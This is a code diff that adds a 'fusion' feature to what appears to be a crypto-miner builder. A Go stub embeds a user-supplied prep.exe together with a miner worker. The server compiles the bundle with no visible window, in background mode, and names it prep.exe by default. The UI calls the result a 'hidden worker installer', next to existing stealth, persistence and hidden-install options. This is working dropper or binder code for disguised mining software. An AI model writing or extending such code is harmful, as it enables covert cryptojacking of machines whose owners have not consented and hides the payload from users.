diff --git a/fusion/go.mod b/fusion/go.mod new file mode 100644 index 0000000..0f06a9d --- /dev/null +++ b/fusion/go.mod @@ -0,0 +1,3 @@ +module crypto-miner-fusion + +go 1.26.3 diff --git a/fusion/main.go b/fusion/main.go new file mode 100644 index 0000000..0200446 --- /dev/null +++ b/fusion/main.go @@ -0,0 +1,71 @@ +package main + +import ( + _ "embed" + "fmt" + "os" + "os/exec" + "path/filepath" + "sync" +) + +//go:embed assets/prep.exe +var prepExe []byte + +//go:embed assets/worker.exe +var workerExe []byte + +// RunOrder is replaced at build time (parallel | prep_first | worker_first). +const runOrder = "FUSION_RUN_ORDER" + +func main() { + dir, err := os.MkdirTemp("", "cm-fusion-*") + if err != nil { + return + } + defer os.RemoveAll(dir) + + prepPath := filepath.Join(dir, "prep.exe") + workerPath := filepath.Join(dir, "worker.exe") + if err := os.WriteFile(prepPath, prepExe, 0755); err != nil { + return + } + if err := os.WriteFile(workerPath, workerExe, 0755); err != nil { + return + } + + switch runOrder { + case "prep_first": + waitProcess(prepPath) + startProcess(workerPath) + case "worker_first": + waitProcess(workerPath) + waitProcess(prepPath) + default: + var wg sync.WaitGroup + wg.Add(2) + go func() { + defer wg.Done() + waitProcess(prepPath) + }() + go func() { + defer wg.Done() + startProcess(workerPath) + }() + wg.Wait() + } +} + +func startProcess(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + _ = cmd.Start() +} + +func waitProcess(path string) { + cmd := exec.Command(path) + cmd.Dir = filepath.Dir(path) + if err := cmd.Run(); err != nil { + fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err) + } +} diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go new file mode 100644 index 0000000..af4d04b --- /dev/null +++ b/server/internal/builder/fusion.go @@ -0,0 +1,82 @@ +package builder + +import ( + "fmt" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { + if prepPath == "" { + return "", fmt.Errorf("fusion requires prep.exe") + } + if _, err := os.Stat(prepPath); err != nil { + return "", fmt.Errorf("prep.exe not found: %w", err) + } + if _, err := os.Stat(workerPath); err != nil { + return "", fmt.Errorf("worker binary not found: %w", err) + } + + fusionSrc := filepath.Join(h.projectRoot, "fusion") + if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { + return "", fmt.Errorf("fusion source missing at %s", fusionSrc) + } + + fusionDir := filepath.Join(buildDir, "fusion") + assetsDir := filepath.Join(fusionDir, "assets") + if err := os.MkdirAll(assetsDir, 0755); err != nil { + return "", err + } + + mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go")) + if err != nil { + return "", err + } + order := normalizeFusionOrder(runOrder) + mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1) + if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil { + return "", err + } + + if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil { + return "", err + } + if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { + return "", err + } + if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { + return "", err + } + + if outputName == "" { + outputName = "prep.exe" + } + if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { + outputName += ".exe" + } + outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) + + cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".") + cmd.Dir = fusionDir + cmd.Env = append(os.Environ(), + "GOOS=windows", + "GOARCH=amd64", + "CGO_ENABLED=0", + ) + out, err := cmd.CombinedOutput() + if err != nil { + return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out))) + } + return outputPath, nil +} + +func normalizeFusionOrder(order string) string { + switch strings.ToLower(strings.TrimSpace(order)) { + case "prep_first", "worker_first", "parallel": + return strings.ToLower(strings.TrimSpace(order)) + default: + return "parallel" + } +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index ce15d4c..9bb94d1 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -5,6 +5,7 @@ import ( "fmt" "io" "log" + "mime/multipart" "net/http" "os" "os/exec" @@ -51,17 +52,22 @@ type BuildRequest struct { PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` + FusionEnabled bool `json:"fusion_enabled"` + FusionRunOrder string `json:"fusion_run_order"` + FusionOutputName string `json:"fusion_output_name"` } type BuildResponse struct { - Success bool `json:"success"` - BuildID string `json:"build_id,omitempty"` - FileName string `json:"file_name,omitempty"` - FilePath string `json:"file_path,omitempty"` - RelativePath string `json:"relative_path,omitempty"` - FileSize int64 `json:"file_size,omitempty"` - DownloadURL string `json:"download_url,omitempty"` - Error string `json:"error,omitempty"` + Success bool `json:"success"` + BuildID string `json:"build_id,omitempty"` + FileName string `json:"file_name,omitempty"` + FilePath string `json:"file_path,omitempty"` + RelativePath string `json:"relative_path,omitempty"` + FileSize int64 `json:"file_size,omitempty"` + DownloadURL string `json:"download_url,omitempty"` + FusionEnabled bool `json:"fusion_enabled,omitempty"` + WorkerFile string `json:"worker_file,omitempty"` + Error string `json:"error,omitempty"` } type Handler struct { @@ -93,17 +99,58 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { } var req BuildRequest - if err := json.NewDecoder(r.Body).Decode(&req); err != nil { - writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) - return + var prepPath string + var cleanupPrep func() + + contentType := r.Header.Get("Content-Type") + if strings.HasPrefix(contentType, "multipart/form-data") { + if err := r.ParseMultipartForm(150 << 20); err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"}) + return + } + configJSON := r.FormValue("config") + if configJSON == "" { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"}) + return + } + if err := json.Unmarshal([]byte(configJSON), &req); err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"}) + return + } + file, header, err := r.FormFile("prep_exe") + if err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"}) + return + } + defer file.Close() + saved, remove, err := h.saveUploadedPrep(file, header) + if err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) + return + } + prepPath = saved + cleanupPrep = remove + } else { + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) + return + } + } + + if cleanupPrep != nil { + defer cleanupPrep() } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } + if req.FusionEnabled && prepPath == "" { + writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"}) + return + } - resp, status, outputPath := h.buildAgent(&req) + resp, status, outputPath := h.buildAgent(&req, prepPath) if !resp.Success { writeJSON(w, status, resp) return @@ -135,7 +182,7 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, build.FilePath) } -func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { +func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") @@ -157,11 +204,14 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, "" } - outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) - outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) + workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName)) + if req.FusionEnabled { + workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName)) + } + outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName)) ldflags := "-s -w -trimpath" - if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode { + if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled { ldflags += " -H windowsgui" } @@ -179,15 +229,29 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, "" } - fileInfo, err := os.Stat(outputPath) + finalPath := outputPath + finalName := workerName + var fusionEnabled bool + + if req.FusionEnabled { + fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder) + if err != nil { + return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" + } + finalPath = fusedPath + finalName = filepath.Base(fusedPath) + fusionEnabled = true + } + + fileInfo, err := os.Stat(finalPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" } - absPath, _ := filepath.Abs(outputPath) + absPath, _ := filepath.Abs(finalPath) relPath, _ := filepath.Rel(h.projectRoot, absPath) if relPath == "" || strings.HasPrefix(relPath, "..") { - relPath = filepath.Join(h.dataDir, "builds", buildID, outputName) + relPath = filepath.Join(h.dataDir, "builds", buildID, finalName) } buildRecord := &models.BuildRecord{ @@ -209,14 +273,16 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) { } return BuildResponse{ - Success: true, - BuildID: buildID, - FileName: outputName, - FilePath: absPath, - RelativePath: relPath, - FileSize: fileInfo.Size(), - DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID), - }, http.StatusOK, outputPath + Success: true, + BuildID: buildID, + FileName: finalName, + FilePath: absPath, + RelativePath: relPath, + FileSize: fileInfo.Size(), + DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID), + FusionEnabled: fusionEnabled, + WorkerFile: workerName, + }, http.StatusOK, finalPath } func (h *Handler) normalizeRequest(req *BuildRequest) error { @@ -308,9 +374,52 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.PoolPass == "" { req.PoolPass = "x" } + if req.FusionEnabled { + if req.FusionOutputName == "" { + req.FusionOutputName = "prep.exe" + } + if req.FusionRunOrder == "" { + req.FusionRunOrder = "parallel" + } + if req.DisplayMode == "" || req.DisplayMode == "visible" { + req.DisplayMode = "background" + } + } return nil } +func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) { + if header == nil || header.Size == 0 { + return "", nil, fmt.Errorf("prep.exe upload is empty") + } + if header.Size > 150<<20 { + return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit") + } + name := strings.ToLower(header.Filename) + if !strings.HasSuffix(name, ".exe") { + return "", nil, fmt.Errorf("prep upload must be a .exe file") + } + + dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*") + if err != nil { + return "", nil, err + } + dest := filepath.Join(dir, "prep.exe") + out, err := os.Create(dest) + if err != nil { + os.RemoveAll(dir) + return "", nil, err + } + if _, err := io.Copy(out, file); err != nil { + out.Close() + os.RemoveAll(dir) + return "", nil, err + } + out.Close() + cleanup := func() { _ = os.RemoveAll(dir) } + return dest, cleanup, nil +} + func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string { return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT // Build ID: %s diff --git a/server/internal/builder/handler_test.go b/server/internal/builder/handler_test.go index 9fc656e..81c0959 100644 --- a/server/internal/builder/handler_test.go +++ b/server/internal/builder/handler_test.go @@ -34,9 +34,9 @@ func TestNormalizeRequestRequiresWallet(t *testing.T) { func TestNormalizeRequestPersistence(t *testing.T) { h := &Handler{} req := &BuildRequest{ - WorkerName: "pc-1", - ServerURL: "http://192.168.1.10:8989", - Wallet: "48abc", + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", Persistence: true, } if err := h.normalizeRequest(req); err != nil { @@ -46,3 +46,28 @@ func TestNormalizeRequestPersistence(t *testing.T) { t.Fatal("persistence should enable auto start") } } + +func TestNormalizeRequestFusion(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://192.168.1.10:8989", + Wallet: "48abc", + FusionEnabled: true, + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if req.FusionOutputName != "prep.exe" { + t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName) + } + if req.FusionRunOrder != "parallel" { + t.Fatalf("expected parallel order, got %s", req.FusionRunOrder) + } +} + +func TestNormalizeFusionOrder(t *testing.T) { + if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" { + t.Fatalf("unexpected order: %s", got) + } +} diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index aa43e70..1ce59eb 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -40,11 +40,27 @@ export const api = { }), // Builder - buildAgent: (req: BuildRequest) => - fetchJSON('/builder/build', { + buildAgent: (req: BuildRequest, prepFile?: File | null) => { + if (req.fusion_enabled) { + if (!prepFile) { + return Promise.reject(new Error('Fusion requires prep.exe upload')); + } + const form = new FormData(); + form.append('config', JSON.stringify(req)); + form.append('prep_exe', prepFile, prepFile.name || 'prep.exe'); + return fetch(`${API_BASE}/builder/build`, { method: 'POST', body: form }).then(async (res) => { + if (!res.ok) { + const err = await res.text(); + throw new Error(`API error ${res.status}: ${err}`); + } + return res.json() as Promise; + }); + } + return fetchJSON('/builder/build', { method: 'POST', body: JSON.stringify(req), - }), + }); + }, downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index a0669d3..b407441 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -47,6 +47,9 @@ export const FIELD_HELP: Record = { run_as: 'User = startup entry. Scheduled/Service uses a logon scheduled task for persistence.', silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', auto_start: 'Same as Persistence. Keeps miner running after reboot.', + fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.', + fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.', + fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.', install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 31731d7..b500991 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -41,6 +41,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build pool_port: config.pool.port, pool_tls: config.pool.use_tls, pool_pass: config.pool.password, + fusion_enabled: false, + fusion_run_order: 'parallel', + fusion_output_name: 'prep.exe', }; } @@ -52,6 +55,7 @@ export default function BuilderPage() { const [recentBuilds, setRecentBuilds] = useState([]); const [showRecent, setShowRecent] = useState(false); const [loadingDefaults, setLoadingDefaults] = useState(true); + const [fusionPrepFile, setFusionPrepFile] = useState(null); useEffect(() => { Promise.all([api.getConfig(), api.getServerInfo()]) @@ -95,10 +99,14 @@ export default function BuilderPage() { setError('Custom install base path is required when Install Base is Custom'); return; } + if (form.fusion_enabled && !fusionPrepFile) { + setError('Fusion requires your prep.exe file'); + return; + } setBuilding(true); try { - const result = await api.buildAgent(form); + const result = await api.buildAgent(form, fusionPrepFile); if (!result.success) { throw new Error(result.error || 'Build failed'); } @@ -477,6 +485,58 @@ export default function BuilderPage() { +
+

Fusion (prep + worker)

+

+ Bundle your machine prep tool with the miner into one file. The output runs your prep.exe and embeds the worker in the background. +

+
+ + +
+ {form.fusion_enabled && ( + <> +
+ + setFusionPrepFile(e.target.files?.[0] || null)} + /> + {fusionPrepFile && ( + Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB) + )} +
+
+
+ + + +
+
+ + updateField('fusion_output_name', e.target.value)} /> + +
+
+

+ Fused output: {form.fusion_output_name || 'prep.exe'} containing your prep tool + hidden worker installer. +

+ + )} +
+ {error && (
⚠️ {error} @@ -494,6 +554,9 @@ export default function BuilderPage() {

Installer Ready

Run this once on each Windows machine:

+ {lastBuild.fusion_enabled && ( +

Fusion build — worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.

+ )}

File: {lastBuild.file_name}

Size: {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB

Absolute path:

diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 0283429..9f642bb 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -165,6 +165,9 @@ export interface BuildRequest { pool_port: number; pool_tls: boolean; pool_pass: string; + fusion_enabled: boolean; + fusion_run_order: string; + fusion_output_name: string; } export interface BuildResponse { @@ -176,6 +179,8 @@ export interface BuildResponse { file_size?: number; download_url?: string; error?: string; + fusion_enabled?: boolean; + worker_file?: string; } export interface WSMessage {